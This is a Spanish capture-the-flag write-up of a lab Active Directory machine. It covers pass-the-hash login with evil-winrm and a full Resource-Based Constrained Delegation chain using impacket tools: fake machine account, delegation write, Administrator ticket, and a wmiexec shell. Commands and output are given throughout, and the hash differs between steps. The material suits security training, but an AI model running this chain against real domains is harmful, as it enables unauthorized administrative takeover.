Utilicé el hash NT obtenido de la cuenta `AUDITMGR` para autenticarme mediante **Pass-the-Hash** con `evil-winrm.`

```rs
❯ evil-winrm -i 192.168.1.240 -u AUDITMGR -H 98013215ea3bcb123dacec8fc12a71aa
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\auditmgr\Documents> whoami
shadow\auditmgr
*Evil-WinRM* PS C:\Users\auditmgr\Documents> 
```

***

### Escalada de Privilegios.

Con `GenericAll` sobre SEERVER puedes abusar de RBCD (Resource-Based Constrained Delegation): primero creas una máquina falsa en el dominio con `addcomputer.py`, luego usas `rbcd.py` para escribir en el atributo `msDS-AllowedToActOnBehalfOfOtherIdentity` de SEERVER apuntando a tu máquina falsa, después solicitas un ticket S4U2Self+S4U2Proxy con `getST.py` suplantando a Administrator sobre el SPN `cifs/SEERVER.shadow.thl`, y finalmente exportas el ccache y accedes con `secretsdump.py` o `wmiexec.py` usando `-k -no-pass`.

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2FFjW3ukikST5I0Hce5a1v%2F6.png?alt=media&amp;token=83cdf42f-7d53-4849-8050-e0b5d72cade7" alt=""><figcaption></figcaption></figure>

Utilicé `impacket-addcomputer` autenticándome con el usuario `AUDITMGR` mediante un hash NTLM válido para agregar una nueva cuenta de máquina al dominio llamada `fakepc$`. Esto fue posible porque la cuenta tenía permisos para crear equipos en Active Directory (comportamiento permitido por defecto en muchos entornos). La herramienta creó correctamente el objeto de equipo con la contraseña `Password@123`, lo que me proporciona credenciales válidas de una máquina unida al dominio que posteriormente pueden utilizarse en diferentes técnicas de autenticación y ataques contra Active Directory.

```rust
❯ impacket-addcomputer shadow.thl/AUDITMGR -hashes :98019215ea3bcb223dacec8fc12a71aa -computer-name fakepc -computer-pass Password@123 -dc-ip 192.168.1.240
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies 

[*] Successfully added machine account fakepc$ with password Password@123.
```

***

Usé `impacket-rbcd` para configurar delegación restringida basada en recursos (RBCD), permitiendo que la máquina `fakepc$` pueda suplantar usuarios en el equipo `SEERVER$`. En resumen, le di permisos a esa máquina para actuar como otros usuarios contra ese servidor usando Kerberos.

```nushell
❯ impacket-rbcd -dc-ip 192.168.1.240 shadow.thl/AUDITMGR -hashes :98019215ea3bcb223dacec8fc12a71aa -action write -delegate-to 'SEERVER$' -delegate-from 'fakepc$'
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies 

[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] fakepc$ can now impersonate users on SEERVER$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*]     fakepc$      (S-1-5-21-2560516159-2044954141-282354372-2601)
```

***

Con `impacket-getST` aproveché la delegación RBCD configurada para solicitar un ticket Kerberos del servicio CIFS del servidor `SEERVER$`, suplantando al usuario `Administrator` desde la cuenta `fakepc$`. En resumen, conseguí un ticket válido que me permite actuar como administrador en ese servicio dentro del dominio.

```js
❯ impacket-getST -spn cifs/SEERVER.shadow.thl -impersonate Administrator -dc-ip 192.168.1.240 'shadow.thl/fakepc$:Password@123' 2>/dev/null
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies 

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_SEERVER.shadow.thl@SHADOW.THL.ccache
```

Exporté la variable `KRB5CCNAME` para usar el ticket Kerberos (`ccache`) generado anteriormente, de forma que las herramientas del sistema puedan autenticarse automáticamente como `Administrator` en el servicio `cifs` del servidor `SEERVER$`.

```
❯ export KRB5CCNAME=Administrator@cifs_SEERVER.shadow.thl@SHADOW.THL.ccache
```

***

Usé `impacket-wmiexec` con autenticación Kerberos (`-k`) y sin contraseña, aprovechando el ticket del administrador que había obtenido previamente, para acceder al servidor `SEERVER$` de forma remota. Una vez dentro, obtuve una shell semi-interactiva vía WMI y confirmé el acceso ejecutando `whoami`, lo que mostró que ya estaba ejecutando comandos como `shadow\administrator`, es decir, conseguí control administrativo del sistema.

```mjs
❯ impacket-wmiexec -k -no-pass Administrator@SEERVER.shadow.thl
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies 

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami 
shadow\administrator

C:\>cd Users/Administrator/Desktop
C:\Users\Administrator\Desktop>dir
 Volume in drive C has no label.
 Volume Serial Number is E0CC-0727

 Directory of C:\Users\Administrator\Desktop

06/18/2026  11:11 AM    <DIR>          .
06/18/2026  11:11 AM    <DIR>          ..
06/18/2026  09:50 AM                32 root.txt
06/18/2026  11:15 AM                32 user.txt
               2 File(s)             64 bytes
               2 Dir(s)  49,926,897,664 bytes free

C:\Users\Administrator\Desktop>
```

Maquina Resuelta
